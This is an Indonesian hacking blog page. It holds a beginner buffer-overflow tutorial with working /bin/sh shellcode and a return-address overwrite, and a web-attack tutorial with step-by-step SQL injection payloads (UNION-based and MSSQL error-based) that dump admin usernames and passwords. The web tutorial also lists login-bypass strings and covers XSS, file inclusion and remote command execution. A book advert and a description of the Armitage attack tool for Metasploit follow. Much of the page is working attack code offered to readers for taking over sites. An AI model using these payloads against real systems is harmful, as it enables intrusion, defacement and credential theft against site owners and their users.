.:: SELAMAT DATANG DI WWW.E-DUKASINET.TK / KITA BERAWAL DARI DUNIA MAYA. TAPI SUATU SAAT BAKAL JADI NYATA, DAN KENYATAAN ITU AKAN JADI SODARA AMIEN 3 X ::.

Pengeluaran  Togel 2012

Rabu, 21 September 2011

Buffer Overflow Exploitation for Owning (Beginner)

Mempelajari dan mengerti tentang Buffer Overflow memang bikin kepala bisa pitakan karena kita harus memahamai bahasa pemrograman c, assembly dan luar dalam sistem operasi (jangan luar dalam tangtop aje loe pahamin ), apalagi buat orang-orang yang suka deface web pake union select atau pake include-include -an bisa-bisa stress gantung diri ( woi ngaca loe kaya gak kaya gitu aje loe ).. hahaha,,. yasudahlah masa lalu itu, sekarang kita coba menjadi insan yang lebih baik dari hari sebelumnya, kan di al-quran juga ada dalil yang kurang lebih begini isinya (maaf kalo salah, saya bukan ustad) “Barang siapa yang lebih baik dari hari sebelumnya maka dia adalah orang yang beruntung, dan siapa yang tidak lebih baik dari hari sebelumnya maka dia adalah orang yang merugi).

Pengertian dari Buffer Overflow sebelumnya bisa anda liat di postingan sebelumnya tentang Konsep Buffer Overflow dan Pencegahannya singkatnya Buffer Overflow adalah cabang olahraga atletik yang,,, eh maaf,, cabang exploitasi terhadap program yang terjadi jika program menerima input ke dalam buffer dan buffer tidak cukup menampung informasi yang dialokasikan dalam memori. Hal ini membuat seorang attacker untuk menimpa data dalam path eksekusi program dan mengambil alih control program dan mengeksekusi kode jahat (shellcode) si maling.

Buffer Overflow merupakan jurus yang ampuh para master-master keamanan komputer dari jaman monyet sama onta berantem sampe sekarang jaman cIcaK bisa sadap telepon si Buaya di jakarta,,ckckck,,,masih ampuh buat shell spawning. Mengerti Buffer Overflow membuat kita semakin memahami sulitnya membuat exploit yang biasa kita donlod, dan jalankan script tersebut tanpa sedikitpun ingin mengerti maksud dari barisan-barisan kode tersebut, setelah berhasil deface sebuah website atau mendapatkan akses root akhirnya menyombongkan diri dengan memajang nick dan puisi norak anak SMP , trus kasian banget yang buat exploit, capek-capek riset buat exploit eh emang kiddiez tak tahu malu menghapus nama kawan kita dari barat di script exploit dan mengganti nama si kiddiez….aaargghhh…postingannya malah curhatan gini??? jadi inget artikelnya y3dips echo knap[a]_aku_gak_mau_Jadi_SK~y3dips.

Balik lagi ke topik , postingan ini adalah permulaan, ibaratnya masih kulitnya aja gue juga masih belajar yang beginian. Ada beberapa macam Buffer Overflow exploit seperti Stack-based Overflow, Heap dan BSS Based Overflow, dan Format Strings Based. Sebelumnya kita bahas terlebih dahulu apa itu shellcode atau shell code sama aja lah..

SHELL CODE

Shell code adalah array atau larik bertipe array yang berisikan instruksi yang dimengerti mesin digunakan untuk menguasai shell target exploitasi. Pada program yang ingin dieksploitasilah bakal kita tulis shell code – nya, dibutuhkan skill pemrograman assembly , dan bahasa c silahkan beli di toko buku, gramedia, atau di pondok cina (kan murah tuh). Shell code bisa kita dapatkan dengan generate menggunakan freameworknya metasploit, atau ambil aja disitus metasploit.com, milw0rm.org.

——- shell.cpp ———-
view source
print?
1 void main()
2 {
3 char *sh[2];
4 sh[0]="/bin/sh";
5 sh[1]=NULL;
6 execve(sh[0],sh,NULL);
7 }

——- end of shell.cpp ———-

Program di atas digunakan untuk menjalankan shell, compile dengan opsi -static dan jalankan di The Gnu Debugger atau gdb.

root@slacker:~#cc shell.cpp -o shell -static
root@slacker:~#gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) disass main
Dump of assembler code for function main:
0x80481c0 : push %ebp
0x80481c1 : mov %esp,%ebp
0x80481c3 : sub $0x8,%esp
0x80481c6 : movl $0x8073768,0xfffffff8(%ebp)
0x80481cd : movl $0x0,0xfffffffc(%ebp)
0x80481d4 : push $0x0
0x80481d6 : lea 0xfffffff8(%ebp),%eax
0x80481d9 : push %eax
0x80481da : mov 0xfffffff8(%ebp),%eax
0x80481dd : push %eax
0x80481de : call 0x804ea70
0x80481e3 : add $0xc,%esp
0x80481e6 : xor %eax,%eax
0x80481e8 : jmp 0x80481f0
0x80481ea : lea 0x0(%esi),%esi
0x80481f0 : mov %ebp,%esp
0x80481f2 : pop %ebp
0x80481f3 : ret
0x80481f4 : nop
0x80481f5 : nop
0x80481f6 : nop
0x80481f7 : nop
0x80481f8 : nop
0x80481f9 : nop
0x80481fa : nop
0x80481fb : nop
0x80481fc : nop
0x80481fd : nop
0x80481fe : nop
0x80481ff : nop
End of assembler dump.
(gdb) disass execve
Dump of assembler code for function __execve:
0x804ea70 : push %ebx
0x804ea71 : mov 0x10(%esp,1),%edx
0x804ea75 : mov 0xc(%esp,1),%ecx
0x804ea79 : mov 0x8(%esp,1),%ebx
0x804ea7d : mov $0xb,%eax
0x804ea82 : int $0x80
0x804ea84 : pop %ebx
0x804ea85 : cmp $0xfffff001,%eax
0x804ea8a : jae 0x804ee40
0x804ea90 : ret
End of assembler dump.
(gdb) quit

Mari kita lihat funsi-fungsi yang dimulai dari awal,

main -> push %ebp
main+1 ->movl %esp,%ebp
Diatas adalah prosedur standar di semua fungsi, Pertama simpan %ebp dan perpindahan %esp ke %ebp membuat %ebp menjadi frame pointer baru.

main+3 -> sub $0×8,%esp
sub %esp dengan 0×8 karena pointer 2 char berisi panjang 8 bytes 2*4=8)

main+6 -> movl 0×8073768,0xfffffff8(%ebp)
sama seperti sh[0]=”/bin/sh”;

main+13 -> movl $0×0,0xfffffffc(%ebp)
sama seperti sh[1]=NULL;

main+20 -> pushl $0×0
pemanggilan fungsi execve dimulai dari sini, mendorong argument dalam fungsi secara terbalik di stack (arsitektur x86 dimulai dari atas ke bawah).

main+22 -> lea 0xfffffff8(%ebp),%eax
lea memuat alamat dari sh ke dalam pointer.

main+25 -> pushl %eax
memasukkan alamat ke dalam stack, argumen ke dua (sh).

main+26 -> movl 0xfffffff8(%ebp),%eax …
alamat dari /bin/sh berada di 0xfffffff8(%ebp) lihat main+6 dan masuk ke dalam stack sebagai sh[0]

Sekarang mari kita lihar di execve function.

__execve+1 mov 0×10(%esp,1),%edx
kita harus mempunya alamat dari argumen ke 3 dalam %edx(NULL adalah argument ke tiga)

__execve+5 mov 0xc(%esp,1),%ecx
membuat alamat dari sh dalam %ecx(sh merupakan argumen ke 2)

__execve+9 mov 0×8(%esp,1),%ebx
membuat alamat dari “/bin/sh” dalam %ebx(sh[0] argumen pertama)

__execve+13 mov $0xb,%eax
0xb adalah system call untuk execve

__execve+18 int $0×80
mengubah ke modus kernel

Selanjtnya yang harus kita lakukan

membuat alamat NULL di %edx
membuat alamat sh di %ecx
membuat alamat “/bin/sh” di %ebx
membuat 0xb dalam %eax
memanggil int $0×80

nah,, sekarang menentukan lokasi tepat untuk menempatkan string “/bin/sh” kita. Kita bisa lakukan untuk menaruh “/bin/sh” setelah pemanggilan yang akan mendorong EIP di stack,dan EIP akan menjadi lokasi tring “/bin/sh”…ilustrasinya seperti di bawah.

[JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss]
|^_______________________^|
|________________________|

dalam permulaan kode kita menaruh instruksi JMP dimana jmp untuk CALL dan CALL menyimpan lokasi EIP dan lokasi EIP akan tertimpa untuk alamat “/bin/sh”.

a-tempat kode
J-tempat JMP
C-tempat CALL
s-tempat “/bin/sh”

dan tulis kedalam format asm

———— shell1.cpp Code Starts Here —————-
view source
print?
01 void main(){
02 __asm__("jmp 0x1e " //jmp ke call
03 "popl %esi " //simpan EIP ke esi,yang menjadi alamat /bin/sh
04 "movl %esi,0x8(%esi) " //alamat sh dibelakang /bin/sh
05 "movl $0x0,0xc(%esi) " //NULL sebagai argumen ke tigas setelah alamat sh
06 "movb $0x0,0x7(%esi) " //memberhentikan /bin/sh dengan ''
07 "movl %esi,%ebx " //alamat sh[0] di %ebx
08 "leal %0x8(%esi),%ecx " //alamat sh di %ecx(argumen ke 2)
09 "leal %0xc(%esi),%edx " //alamat NULL di %edx(argumen ke 3)
10 "movl $0xb,%eax " //sys call dari execve di %eax
11 " int $0x80 " //kernel mode
12 " call -0x23 " //call popl %esi
13 " .string "/bin/sh" "); //string
14 }

———— shell1.cpp Code Ends Here —————-

Lets compile this

root@slacker:~#cc shel1.cpp -o shell1
root@slacker:~#gdb shell1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/bx main+3 <-------jmp start here
0x8048733 : 0xeb
(gdb)
0x8048734 : 0x1e
(gdb)
0x8048735 : 0x5e
(gdb)
0x8048736 : 0x89
(gdb)
0x8048737 : 0x76
(gdb)
0x8048738 : 0x08
(gdb)
0x8048739 : 0xc6
(gdb)
0x804873a : 0x46
(gdb)
0x804873b : 0x07
(gdb)
0x804873c : 0x00
(gdb)
0x804873d : 0xc7
(gdb)
0x804873e : 0x46
(gdb)
0x804873f : 0x0c
(gdb)
0x8048740 : 0x00
(gdb)
0x8048741 : 0x00
(gdb)
0x8048742 : 0x00
(gdb)
0x8048743 : 0x00
(gdb)
0x8048744 : 0x89
(gdb)
0x8048745 : 0xf3
(gdb)
0x8048746 : 0x8d
(gdb)
0x8048747 : 0x4e
(gdb)
0x8048748 : 0x08
(gdb)
0x8048749 : 0x8d
(gdb)
0x804874a : 0x56
(gdb)
0x804874b : 0x0c
(gdb)
0x804874c : 0xb8
(gdb)
0x804874d : 0x0b
(gdb)
0x804874e : 0x00
(gdb)
0x804874f : 0x00
(gdb)
0x8048750 : 0x00
(gdb)
0x8048751 : 0xcd
(gdb)
0x8048752 : 0x80
(gdb)
0x8048753 : 0xe8
(gdb)
0x8048754 : 0xdd
(gdb)
0x8048755 : 0xff
(gdb)
0x8048756 : 0xff
(gdb)
0x8048757 : 0xff
(gdb)
0x8048758 : 0x2f
(gdb)
0x8048759 : 0x62
(gdb)
0x804875a : 0x69
(gdb)
0x804875b : 0x6e
(gdb)
0x804875c : 0x2f
(gdb)
0x804875d : 0x73
(gdb)
0x804875e : 0x68 <--------- shell code berakhir disini..
(gdb)quit

lets write our shell code->

————— shell2.cpp Code Starts Here ——————
view source
print?
01 char c0de[]=
02 "xebx1ex5ex89x76x08xc6x46x07x00xc7x46x0cx00x00 "
03 "x00x00x89xf3x8dx4ex08x8dx56x0cxb8x0bx00x00x00 "
04 "xcdx80xe8xddxffxffxffx2fx62x69x6ex2fx73x68";
05
06 int main(){
07 char buf[5];
08 long *ret=(long *)(buf+12);
09 *ret=(long)c0de;
10 }

————— shell2.cpp Code Ends Here ——————

root@slacker:~#cc shell2.cpp -o shell2
root@slacker:~#./shell2
sh-2.03

This works… “x2fx62x69x6ex2fx73x68″ sama dengan menulis “/bin/sh” (akhir penulisan kode). sekedar informasi skrip di atas di jalankan di atas mesin slackware 9 kernel 2.4.24. Jika terdapat kekeliruan dalam postingan ini harap beri caci makian di bawah, trims… ude dulu deh, pala gue pusing..zzzZZ

Berlanjut “Stack Based Overflow Exploitation“

references :
Introduction to Buffer Overflow by Ghost_Rider – Appendix A: Shell Code –

unamedplayer

simple basic common web attack

Halo kawan-kawan semuanya, ini sebenernya gue pesembahkan buat devilzc0de yang sedang mengalami guncangan dari pihak asink(cie,cie bahasanya), maksudnya ini gue tulis ketika devilzc0de sedang mengalami suspend diforumnya, semoga ini cepat berlalu dan Devilzc0de cepet exist kembali, terima kasih buat temen2 yang udeh mau bantu berdirinya Devilzc0de sampe saat ini, w cinta loh semuanya, kita adalah familly.
ok, kawan2 langsung saja dari pada tunggu lama, tr malah kesel lagi lama2 w curhat...

oh yah, kenapa gue bisa pilih judul kaya diatas, karena ada buku yang judulnya web attack, nah disni gue cuma mempersimpel jah, bhkan ini basic sekali buat para pemula,bagi yang sudah bisa silahkan tidak usah dibaca tutorial cupu w ok, bagi yang mau baca silahkan aja.

dalam tutorial kali ini w akan membahas beberapa serangan yang sering dilakukan oleh para attacker web atau dengan kata lain tester web:

1.XSS (Cross site scripting)
2.basic SQL injection
3.SQL injection for ASP
4.bypass login
5.File Inclusion (RFI/LFI)
6.RCE (Remote Command Execution)

ok langsung saja kita menuju TKP juragan


0x01::XSS (cross site scripting)

nah loh apa itu??? itu adalah XSS (cross site scripting), wah kenapa namanya bukan jadi CSS???, wah pinter nih , gini loh karena CSS sendiri sudah memiliki arti yakni Cascading style sheet, nah nanti kalo pk singkatan itu jadi rancu donk,hehehe, yah pokoknya begitulah dari yang w pernah tahu n baca,kalo ada yang mau cari lagi silahkan jah kenapa namanya demikia, kalo w sih males, lebih baik langsung ngerti, xii,xii...

XSS adalah satu teknik web attack yang sangat mudah sekali dilakukan, ibaratnya, bug ini adalah sederhana karena attacker hanya menampilkan script yang tertulis di URL addressnya, wah gimana tuh...???? ok, langsung praktek saja

example:

http://namasite.com/aduh.php?xss=welcome+to+mysite

nah dari situ biasanya kita tahu baha web tesebut terkena vulnerable XSS, dari situ kita bisa memainkan URL tersebut menjadi:

example:

http://namasite.com/aduh.php?xss=alert(kamu ganteng deh)

nah nanti bisa kita rubah seperti itu,nanti setelah kita tekan enter maka akan keluar javascript alert dengan tulisan "kamu ganteng deh",hehehe


0x02::SQL injection

nah ini mungkin udeh pada tahu, atau mungkin udeh banyak yang mngerti metode ini, kalo udeh ada silahkan saja yah dilewadkan,, ini juga serangan attacker yang sering kali digunakan, karena masih banyak sekali site yang vulnerable dengan metode ini, sebelum lebih jauh membahas metode yang satu ini, g ada salahnya kita berkenalan dengan metode ini, karena ada pepatah, ga kenal maka g tahu(jayus loh..gpp yang penting metal..).

gini loh, sql injection adalah metode web attack dengan melakukan pemberian karakter2 khusus diURL target, jihaha, apalagi itu, saya g ngerti @#$%!@#...wets, sabar donk om, ini mau dikasih contoh, gini loh om, biasanya web tersebut di URLnya diberikan tanda quote,

example:

http://serang.org.sql.php?inject=20'

nah kan diberikan tanda petik tuh, kalo ada pesan error, berarti web tersebut vulnerable dengan sql injection

kemudian kita bisa mencari kolom keberapa yang mengalami masalah

example:

http://serang.org/sql.php?injection=10 order by 1--

example:

http://serang.org/sql.php?injection=10 order by 5--

atau juga bisa mencari dengan metode lain:

example:

http://serang.org/sql.php?injection=-10 union all select 1--

example:
http://serang.org/sql.php?injection=-10 union all select 1,2--

example:
http://serang.org/sql.php?injection=-10 union all select 1,2,3--

dan seterusnya

atau juga bisa

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1--

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2--

example:

http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2,3--

dan seterusnya sampe keluar kolom yang bermasalahnya ok...
nah kalo gitu, karena ini cuma contoh,kita anggap yang keluar adalah kolom ke 3

setelah itu kita bisa mengecek versi sqlnya

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,version(),4,5--

atau

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,@@version,4,5--

kalo seandainya yang keluar versi 4.x.x, maka lewadkan saja, kalo mau dipaksa bisa sih, tapi harus tebak2 tabel dan kolom,hehehe, kalo seandainya yang keluar versi 5.x.x , mari lanjutkan.

untuk mencari tabel yang terdapat dalam site tersebut

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=databasae()--

inget file yang penting adalah:

>>group_concat(table_name)<< == untuk mencari table dari database yang ada.

>>from information_schema.tables where table_schema=database << == diletakan di angka terakhir yang kita dapatkan (lihad contoh diatas)

ok, sekarang kita dapet tabelnya nih, misalnya isi tabelnya sebagai berikut:
admin
user
forum
berita
polling

nah stelah dapet itu selanjutnya kita harus tahu, apa saja sih yang ada didalam tabel itu, tapi tabel yang ingin dicari harus terlebih dahulu kita konvert ke ASCII

example:

http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x61646D696E--

61646D696E = admin = dari string kita rubah ke ASCII dengan menambahkan 0xASCII

setelah kita dapet kolomnya, sekarang saatnya kita dump itu kolom, misalkan kolom yang terdapat pada tabel adalah:
id
username
password
email

nah kan udeh tahu kan, dumping deh

example:

http://serang.org/sql.php?injection=-10 union all select group_concat(id,0x3a,username,0x3a,password,0x3a,e mail) from admin--

nah selesai deh, username n password ada ditangan anda, kalo seandainya password yang kita dapet di encrypt dengan md5 silahkan crack saja yah, banyak ko crackan buat md5 yang online tool sekarang..kalo saya sih lebih suka pake toolnya si gunslinger yang md5 cracking, enak tuh...sering dapet..sekalian w promosiin gunslinger tool loh, ok, setelah berhasil di crack atau dapet password dan usernamenya, silahkan cari halaman adminnya, kalo males, pk tool adminpagefinder dari gunslinger juga, sayang toolnya lum bisa update pagenya...hehe, tr kapan2 kita renov ya gunslinger.

0x03::SQL injection for ASP

sebernernya ini sama saja dengan metode SQL injection yang diatas, tapi bedanya hanya dibahasa yang digunakan, kalo yang diatas biasa di pk untuk *.php dan kalo yang ini untuk *.asp..

example:

http://inject.web.id/sql.asp?injection=12'

kalo muncul pesan error kaya gini "Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.
/news.asp, line 52" berarti bisa kita lanjutkan, selain dari itu, coba2 ajah ok...hehehehe

lanjutkan dengan

example:

http://inject.web.id/sql.asp?injection=12' HAVING 1=1--

error "Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."

cari lagi table dan kolomnya

example:

http://inject.web.id/sql.asp?injection=12' GROUP BY news.news_id HAVING 1=1--

error "Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."

Error menunjukkan nama column yang ketiga adalah "news_detail"
Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column.
Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.

Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert".
Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)--
contoh kita akan melihat versi server:

example:

http://inject.web.id/sql.asp?injecti...t,@@version)--

Pesan error yang muncul:

Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
/page.asp, line 9

Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.

Untuk mencari nama databasenya

example:

http://inject.web.id/sql.asp?injecti...t,db_name())--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9

Berdasarkan error maka dapat diketahui bahwa nama database adalah "cwhdb"

Untuk melihat user yang sementara menggunakan database gunakan command user_name(). contoh:

example:

http://inject.web.id/sql.asp?injecti...user_name())--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9

Error menunjukkan bahwa user adalah "sa"

Sekarang adalah bagaimana mencari nama table, nama column, dan isinya, dari table information_schema. Perintahnya: +and+1=convert(int,(select+top+1+table_name+from+i nformation_schema.tables))-- >>contoh:

example:

http://inject.web.id/sql.asp?injecti...ema.tables))--

Error yang dihasilkan:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9

Dari query tersebut, dapat diketahui bahwa "threads" sebagai tipe data nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan error.
Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads".
Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:

example:

http://inject.web.id/sql.asp?injecti...eads')))--

/*Penjelasan perintah tersebut, yaitu kita akan mengambil informasi dari table information_schema dimana/dengan nama table tidak/bukan "threads". Atau dengan kata lain kita akan mencari table yang selain table "threads"*/
Maka akan muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9

Error menunjukkan table yang kedua adalah "users". Untuk mencari table yang lain, hanya tambahkan nama table yang telah diketahui. contoh:

example:

http://inject.web.id/sql.asp?injecti...sers')))--

Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9

Yang berarti nama table yang ketiga adalah table "forums"
Namun jika error yang tampil seperti ini:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10

Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.

Selanjutnya mencari nama column dari table. Metodenya hampir sama dengan yang sebelumnya, yaitu masih mencari dari "information_schema" namun perintahnya dari "information_schema.tables" berubah menjadi "information_schema.columns" dan dari "table_name" berubah menjadi "column_name". contoh:

example:

http://inject.web.id/sql.asp?injecti...users'))--

Menampilkan error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9

Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname".
Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:

example:

http://inject.web.id/sql.asp?injecti...name')))--

Menghasilkan error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9

Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user".
Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:

example:

http://inject.web.id/sql.asp?injecti...pass')))--

Muncul error:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9

Berarti column yang ketiga adalah column "email".
Tetapi jika error yang dihasilkan adalah:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10

Itu menandakan bahwa sudah tidak ada lagi column yang lain.

Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:

example:

http://inject.web.id/sql.asp?injecti...from+users))--

Error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9

Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin".
Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:

example:

http://www.example.com/page.asp?id=1...dmin')))--

Jika error yang muncul:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9

Berarti username yang lain adalah "cwh". Dan untuk mencari user yang berikutnya, tambahkan username yang telah diketahui. contoh:

example:

http://inject.web.id/sql.asp?injecti...;cwh')))--

Dan jika errornya:

ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10

Berarti hanya ada 2 user yaitu "admin" dan "cwh".

Dan untuk mencari passwordnya, perintahnya seperti:

example:

http://inject.web.id/sql.asp?injecti...from+users))--

Dan jika error yang ditampilkan adalah:

Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int.
/page.asp, line 9

Maka isi dari data yang pertama di column "upass" adalah "123".
Dari hasil yang kita dapat diatas, isi data pertama dari column "uname" adalah "admin", dan isi data pertama dari column "upass" adalah "123".
Berarti usernamenya adalah "admin" dan passwordnya "123"

0x04::bypass Login

emh apa yah...sebenernya sih pengertian ini w buat berdasarkan pengalaman w yah, masalahnya w mau cari referensi yang agak enak w pahamain pada sulit2.....akhirnya jad lah kesimpulan bypass menurut w...bypass adalah teknik hacking untuk login ke suatu site dengan memanfaatkan kesalahan dari si programmer di form login...
begitu kira2 menurut w brother...

ini sedikit list yang biasa di gunakan untuk bypass halaman website:

'or'
1'or'1'='1
having 1=1--
x'or'x'='x
dan masih banyak lagi silahkan anda kembangkan dan cari lagi, seperti biasa, in google..hehehe

0x05::File Inclusion

hello bro..ini dia kita memasuki tahap yang dibilang banyak dilakukan oleh para hacker indonesia yang sering main atau nongkrong di irc,hehehe
file inclusion ini terbagi 2 bagian:
1.Remote FIle Inclusion
2.Local File Inclusion

nah sini w bahas yang RFI dulu yah..

RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. nah ngerti g tuh bro...jadi gampangnya gini loh...jadi dari luar server kita bisa melakukan kaya kita didalam server, nah gitu bro...

nah kemudian LFI

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

nah disni saya akan memberikan bug terjadinya RFI dan LFI..

> [Penjelasan ]
< fungsi-fungsi yang dapat menyebabkan LFI/RFI:include(); include_once(); require(); require_once(); Dengan syarat pada konfigurasi php di server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc = off contoh: misalkan kita punya file index.php dengan content kodenya seperti ini, Code: include "../$_GET[framefile]"; ?>

0x06::RCE (Remote Command Execution)

RCE...wah apa tuh baru denger nih...???? wah kaka, masa sih baru denger..ini adalah salah satu serang yang sering digunakan oleh attacker di indonesia juga..dari namanya juga kita pasti tahu apakah itu..itu adalaha bagaiman si attacker mampu menexecute perintah2 dengan meremote server yang vulnerable dari site

sebagai contoh saya bisa kasih link saja yah tentang RCE ini

untuk mencari RCE anda bisa buka
http://www.milw0rm.com/papers/369

untuk bermain RCE dengan LFI, loh bisa baca
http://www.milw0rm.com/papers/361
http://www.milw0rm.com/papers/260

nah sisanya anda cari lagi yang mengenai RCE, sebenernya RCE bukan hanya ada di bug LFI, tapi masih banyak lagi, seperti di phpmyadmin dan lain-lain..

sekian dari saya semoga bermanfaat adanya bro...

greetz:mywisdom,gunslinger_,flyff666,petimati, gonzhack,rotlez,xtronic,spykit33,devil_nongkrong,7 460(newbie_mantap),d4y4x ( thanks udeh mau dengerin curhatan w bro) n all Devilzc0de member n crew, yogyacarderlink n all member, hacker newbie n all member n all underground community

referensi:google, baca ebook, tanya2 sama temen, otak gue yang kadang gilanya kumat..

Club Cooee : Chatting Dunia Maya ala Dunia Nyata


Di suatu pagi yang cerah, Anda bersama dengan teman-teman nongkrong di sebuah cafe di meksiko, sambil menonton dan mendengarkan alunan music yang merdu dari sebuah speaker super besar.

Tiba-tiba, teman Anda mengajak Anda untuk nonton film di dalam studio film di Hollywood. Setelah selesai, akhirnya pada setuju untuk menghabiskan malam hari dengan nongkrong di sebuah club malam sambil berkenalan dengan berbagai orang dari berbagai negara yang berbeda.

mm’mmm apakah ini semuanya mungkin untuk terjadi ? Kenapa tidak ? Setiap orang bisa menikmati hidup semacam ini, dan Anda bahkan bisa bermain-main ke pantai dan mencari teman dari seluruh dunia setiap saat !

Semua ini dimungkinkan berkat program Club Cooee, sebuah program yang memungkinkan Anda bertemu, berkenalan, dan melakukan berbagai aktifitas yang biasa Anda lakukan dalam dunia nyata di dalam dunia maya.

Club Cooee menciptakan dunia virtual untuk Anda sehingga Anda bisa tampil di dalam dunia virtual ini berupa avatar, yang bisa Anda kreasikan sendiri, mau menjadi co tampan ? cool ? seram ? atau menjadi ce seksi ? rambut kuning ? coklat ? pelangi ? mau menggunakan baju apa ? baju tidur ? baju dalam aja ?
Di dalam dunia Club Cooee, Anda bisa menjalani kehidupan layaknya kehidupan dunia nyata. Anda bisa membeli berbagai kebutuhan dan Anda juga bisa menciptakan ruangan atau tempat yang begitu menyenangkan sampai orang-orang diseluruh dunia berebutan masuk kedalam dunia yang Anda ciptakan ini..... tunggu apa lagi ? Bermain sambil belajar dan berteman
Judul Club Cooee : Chatting Dunia Maya ala Dunia Nyata
Penulis Kurniawan dgt
ISBN 978-979-1090-36-0
CD Ya
eLearning Tidak
Harga 50.000
Halaman 190
Level Semua Level
Download Belum Tersedia

Armitage - GUI Manajemen Attack Untuk Metasploit

Armitage adalah sebuah Tools Grafis (Windows & Linux) untuk manajemen serangan yang digunakan pada Metasploit yang mampu memvisualisasikan target anda, merekomendasikan eksploitasi, dan memperlihatkan kemampuan canggih melalu sebuah skema. Armitage bertujuan untuk membuat Metasploit dapat digunakan untuk praktisi keamanan yang mengerti hacking. Jika Anda ingin belajar Metasploit dan melihat fitur-fitur canggih yang disiapkan, Armitage bisa jadi solusi anda.

Armitage mengatur kemampuan Metasploit saat proses hacking. Terdapat fitur untuk Discovery, akses, Post-exploitation, dan penetrasi/Manuver.

Untuk penemuan, Armitage mengekspos beberapa fitur-fitur manajemen host Metasploit. Anda dapat mengimpor host dan menjalankan scan pada database sasaran. Armitage juga memvisualisasikan database target sehingga anda akan selalu tahu mana host Anda bekerja dan di mana Anda memiliki session.


Armitage membantu dengan Remote Exploitation - menyediakan fitur untuk secara otomatis merekomendasikan eksploitasi yang akan digunakan dan bahkan menjalankan check aktif sehingga Anda tahu mana eksploitasi yang akan bekerja. Jika pilihan ini gagal, Anda dapat menggunakan pendekatan Hail Mary approach dan melepaskan db_autopwn terhadap database target Anda.

Armitage memaparkan fitur klien-sisi Metasploit. Anda dapat memulai browser exploits, menghasilkan malicous file, dan membuat executable meterpreter.

